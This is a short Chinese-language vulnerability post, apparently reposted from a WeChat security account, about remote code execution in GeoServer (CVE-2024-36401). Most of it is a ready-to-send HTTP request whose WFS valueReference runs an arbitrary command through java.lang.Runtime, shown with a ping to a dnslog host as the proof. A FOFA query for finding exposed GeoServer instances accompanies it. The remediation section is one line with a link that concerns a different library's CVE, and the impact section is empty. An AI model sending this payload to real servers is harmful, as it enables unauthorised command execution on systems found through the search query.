漏洞影响范围
漏洞复现
poc
POST/geoserver/wfsHTTP/1.1Host:User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept-Encoding: gzip, deflate, brAccept: */*Connection: closeContent-Length: 320<wfs:GetPropertyValueservice='WFS'version='2.0.0'xmlns:topp='http://www.openplans.org/topp'xmlns:fes='http://www.opengis.net/fes/2.0'xmlns:wfs='http://www.opengis.net/wfs/2.0'valueReference='exec(java.lang.Runtime.getRuntime(),"ping xxx.dnslog.cn")'><wfs:QuerytypeNames='topp:states'/></wfs:GetPropertyValue>
出现如下数据代表漏洞存在：查看dnslog
修复建议
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
1.https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/
搜索语法
fofa:app="GeoServer"
原文始发于微信公众号（小白菜安全）：GeoServer远程代码执行漏洞-CVE-2024-36401
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